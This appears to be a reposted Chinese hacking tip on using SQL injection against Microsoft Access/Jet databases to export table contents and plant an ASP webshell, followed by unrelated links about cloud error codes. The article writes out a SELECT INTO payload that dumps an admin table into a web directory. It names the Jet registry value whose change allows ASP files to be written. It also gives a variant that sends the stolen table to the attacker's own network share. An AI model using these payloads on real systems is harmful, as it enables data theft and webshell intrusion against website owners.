黑客教你SQL注入Access导出WebShell的方法

  • 时间:
  • 浏览:115
  • 来源:网络编程网
热 点:

已经听N个人过说有人已经发现SQL注入Access得到webshell的技术了,也只是听说而已,具体的细节还是不得而知。
最近在看的书中一章提到Jet的安全,然后灵光一闪,呵呵,发现了一种可以利用access导出asp的方法,分享之。
几个月之前网上就流传利用SQL注入Access导出数据库内容到文本文件(可导出txt、htm、html等格式)的方法:
SELECT * into [test.txt] in ’d:\web\’ ’text;’ from admin
执行上述语句,在d:\web目录下就会生成test.txt文件,其内容就是表admin的内容。但是导出asp格式就不行,会说“不能更新,数据库或对象为只读”。
其实控制导出文件后缀是存储在注册表的,具体键值是HKEY_LOCALMACHINE\Software\Microsoft\Jet\4.0\Engines\Text\DisableExtension,默认情况下值为“!txt,csv,tab,asc,tmp,htm,html”,如果我们把asp也添加进去的话,呵呵,就可以导出asp格式的文件了。
这个方法跟那个调用Access的Shell函数执行命令一样,要修改注册表,所以利用不是很大。
顺便提一下,前面提到的导出文本文件的方法如果不知道web路径貌似可以导出到自己机器的哦:SELECT * into [test.txt] in ’\\yourip\share’ ’text;’ from admin

猜你喜欢

DNS.Access.Error错误码什么意思?怎么解决?

阿里云CloudDesktop出现API报错,错误码是:DNS.Access.ErrorErrorMessage:描述:DNS访问错误详情查看:阿里云API错误中心https:

2018-04-22

Access.Address.Failed错误码什么意思?怎么解决?

阿里云CloudDesktop出现API报错,错误码是:Access.Address.FailedErrorMessage:描述:无法访问:{Address}详情查看:阿里云A

2018-04-22

Nginx系列教程:Http Access Key模块

此模块没有被包含在Nginx官方安装包中。这个模块可以阻止所有URL中未包含合法访问令牌的访问(防盗链)。访问令牌可以由访问者IP或者其它服务器变量生成,所以可以很好地控制客户

2018-04-03

如何在 Access 2003 和 Access 2002 中创建 DSN 的连接到 SQLServer 对链接表

方法 1: 使用 CreateTableDef 方法CreateTableDef 方法可创建链接表。 若要使用此方法, 创建一个新模块, 然后以下 AttachDSNLessT

2018-04-01

InvalidAccessKeyId.NotFound错误码什么意思?怎么解决?

阿里云Ecs出现API报错,错误码是:InvalidAccessKeyId.NotFoundErrorMessage:描述:登录状态超时,请刷新页面或重新登录。详情查看:阿里云

2018-04-01